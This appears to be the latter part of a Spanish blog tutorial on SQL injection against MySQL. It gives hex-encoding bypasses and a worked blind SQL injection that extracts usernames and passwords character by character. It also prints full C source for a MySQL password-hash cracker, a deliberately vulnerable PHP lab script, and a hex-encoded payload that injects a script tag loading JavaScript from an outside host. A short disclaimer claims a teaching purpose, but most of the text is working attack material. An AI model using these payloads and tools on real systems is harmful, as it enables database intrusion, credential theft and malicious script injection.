0xbf27 <br />------------------------------------------------------- <br />bypass mysql_real_escape_string() con BIG5 o GBK <br />se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion <br />pero es posible saltarse el mysql_real_escape() de esta forma. <br />aparte de ser caracteres chinos es BIG5 :P <br />------------------------------------------------------- <br />Vectores avanzados: <br /> <br />Usando HEX para bypassear una consulta: <br /> <br /><u>Consulta normal:</u> <br /> <br />SELECT * FROM login WHERE user = 'root' <br /> <br /><u>Bypass:</u> <br /> <br />SELECT * FROM login WHERE user = 0x726F6F74 <br /><u> <br />Insertando nuevo usuario en SQL.</u> <br /> <br /><u>Consulta Normal:</u> <br />insert into login set user = ‘root’, pass = ‘root’ <br /> <br /><u>Bypass:</u> <br /> <br />insert into login set user = 0×726F6F74, pass = 0×726F6F74 <br />-------------------------------------------------------- <br />Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo <br />algo como: <br /> <br />SELECT HEX('root'); <br />obtendremos algo como: <br />726F6F74 <br />y luego le agregamos: <br />0x <br />quedaría: 0×726F6F74 <br /> <br />Tambien hace poco me encontre un articulo interesante del amigo xianur0 :P aunque hay que tener las magic_quotes = off: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html</a> <br /> <br />seria bueno que lo lean. <br /> <br />Para ver si las magic_quotes estan activadas simplemente agreguen una ' (comilla siemple) si aparece algo asi: <br /> <br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 <br /> <br />es que no es posible por que aparece una barra invertida provocando un error en la base de datos .. <br /> <br />pero si aparece algo asi: <br /> <br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 <br /> <br />sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas ademàs de poder actualizar datos,borrar etc .. <br /> <br /><u><b>Ahora blind sql injection</b></u> <br /> <br />es un poco más liado .. pero aquí va: <br /> <br /><u><b>Sabiendo si es vulnerable a Bsql</b></u> <br /> <br />Tenemos que saber esto: <br /> <br />http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero. <br />http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso. <br /> <br /><b>Nota: Recordarlo siempre.</b> <br /> <br />Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o <br />etc sabemos que es vulnerable a bsql. <br /> <br />Sabiendo la versión de mysql: <br /> <br />http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal <br />(si es verdadero) sera versión 4. <br /> <br />http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal <br />(si es verdadero) sera versión 5. <br /> <br />Podemos usar select pero si tenemos problemas podremos usar subselect. <br /> <br />http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1 <br /> <br />Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor <br />como /etc/password y etc ... usando load_file() y outfile. <br /> <br /><u><b>Buscando nombre de tabla y columna</b></u> <br /> <br />Puede ser difícil y con ganas de cagarte en muchas cosas xD. <br /> <br />Adivinando la tabla: <br /> <br />Hacemos esto: <br /> <br />http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1 <br /> <br /><b>Nota:</b><span class="Apple-converted-space"> </span>con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es <br />importante. RECODARLO <br /> <br />Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así <br />tendremos que seguir adivinando. <br /> <br />Ahora la columna: <br /> <br />http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit <br />0,1)=1 <br /> <br />Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */ <br /> <br /><u><b>Extrayendo datos</b></u> <br /> <br />Supongamos que ya tenemos nombre de la columna y la tabla: <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>80 <br /> <br />El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>95 <br /> <br />Da falso así que incrementamos. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>95 <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>98 <br /> <br />Nos da falso. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>99 <br /> <br />Verdadero! <br /> <br />Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos <br />que char (99) es la letra c. <br /> <br />Entonces vamos a comprobar el segundo carácter: <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>99 <br /> <br />Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo <br />carácter, 1 carácter de longitud. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>99 <br /> <br />Nos da falso e incrementamos: <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>107 <br /> <br />Nos da falso y buscamos un numero menor. <br /> <br />http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>104 <br /> <br />Falso, incrementamos .. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>105 <br /> <br />Verdadero! <br /> <br />Sabemos que el segundo carácter es char(105) y que es ''i'' vamos ''ci'' y seguimos incrementando, <br />cuando > 0 devuelve falso, sabemos que llegamos al final. <br /> <br /> <br />Hay herramientas que hacen que esto no sea muy pesado: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301</a> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://sqlmap.sourceforge.net" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://sqlmap.sourceforge.net</a><span class="Apple-converted-space"> </span>< HERMOSA HERRAMIENTA :$ <br /> <br />Les recomiendo leer el tutorial que hizo<span class="Apple-converted-space"> </span><b>ka0x</b><span class="Apple-converted-space"> </span>que contiene un script donde podemos aplicar los <br />conocimientos de aquí y el que he usado a lo largo del tutorial :).(<b>http://www.milw0rm.com/papers/download/216</b>) <br /><b> <br />MySQL cheat sheet:</b><span class="Apple-converted-space"> </span><b>http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/</b> <br /> <br /><b>MySQL cheat sheet:</b><span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/</a><span class="Apple-converted-space"> </span>(Màs que interesante) <br /> <br />La intencion de este tutorial es solo enseñar y evitar este tipo de vulnerabilidades .. <br />no me responsabilizo de mal uso de esta información <br />espero que les sirva!! <br /> <br />Algo más sobre mysql en este tuto es el<span class="Apple-converted-space"> </span><b>XSS en mysql</b><span class="Apple-converted-space"> </span>por si alguien le sirve .. asi: <br /> <br />http://localhost/print.php?id=-1+union select 1<h1>hola-- <br /> <br />o cualquier tipo de Codigo. <br /> <br /><b>TODA LA LECTURA ES OBLIGATORIA</b> <br /> <br />publiquen sus tips,errores o duda en esta publicación :). <br /> <br /> <br />Saludos! <br /> <br />--------------------------------- <br /> <br />tools: <br /> <br />el soft que use para descifrar el pass: <br /> <br /><b>mysqlfast.c</b> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; } </stdio.h></pre></div> <br /> <br />---------------------------------------------------- <br /><u><b>script vulnerable</b></u> <br /> <br /><u>Code sql!:</u> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">CREATE TABLE 'users' ( 'id' int(10) unsigned NOT NULL auto_increment, 'name' varchar(50) NOT NULL, 'password' varchar(50) NOT NULL, PRIMARY KEY ('id') ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; ­­ users ­­ INSERT INTO 'users' VALUES (1, 'administrator', '1234%&_'); INSERT INTO 'users' VALUES (2, 'ka0x', 't3st_bl1nd'); INSERT INTO 'users' VALUES (3, 'bush', 'terrorist'); </pre></div> <br /><u> <br />script php:</u> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"><!--?php # ­­­­ CONFIG ­­­­­ $host = 'localhost'; $dbuser = 'root'; $dbpass = 'password'; $dbname = 'blind'; # ­­­­­­­­­­­­­­­­­ echo "<title-->Blind SQL Injection Test ­ D.O.M LABS 2008"; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM users WHERE id=".$_GET['id']; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){ die('No hay columnas'); } $result=@mysql_fetch_row($query); echo "<h2><center><u>Blind SQL Injection Test<br />D.O.M LABS</u><br />< br>"; echo "<span style="color:#FF0000;">user_id: </span>".$result[0]."<br />"; echo "<span style="color:#FF0000;">username: </span>".$result[1]."<br />"; // echo "Password: ".$result[2]."<br />"; echo "</center></h2>"; die(); ?> </pre></div> <br /> <br /> <br />Explorador de base de datos (General Injection Explorer 3.0) atravez de sqli by<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com/?coment=4533" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">PonyMagic</a> <br /> <br />uso:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com/?coment=4533" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">PonyMagic</a> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> (0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)</pre></div> <br /> <br />Uso:<span class="Apple-converted-space"> </span> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img692.imageshack.us/img692/9366/84930379.gif" style="color: rgb(51, 153, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img692.imageshack.us/img692/9366/84930379.gif" style="max-width: 499px; " /></a></h1></span></div>

Gran tutorial de inyecciones SQL (MySQL)

+--------------------------------------------------------+ | SQL injection && Blind Sql Injection | | Escrito por l0ve ...

Leer más »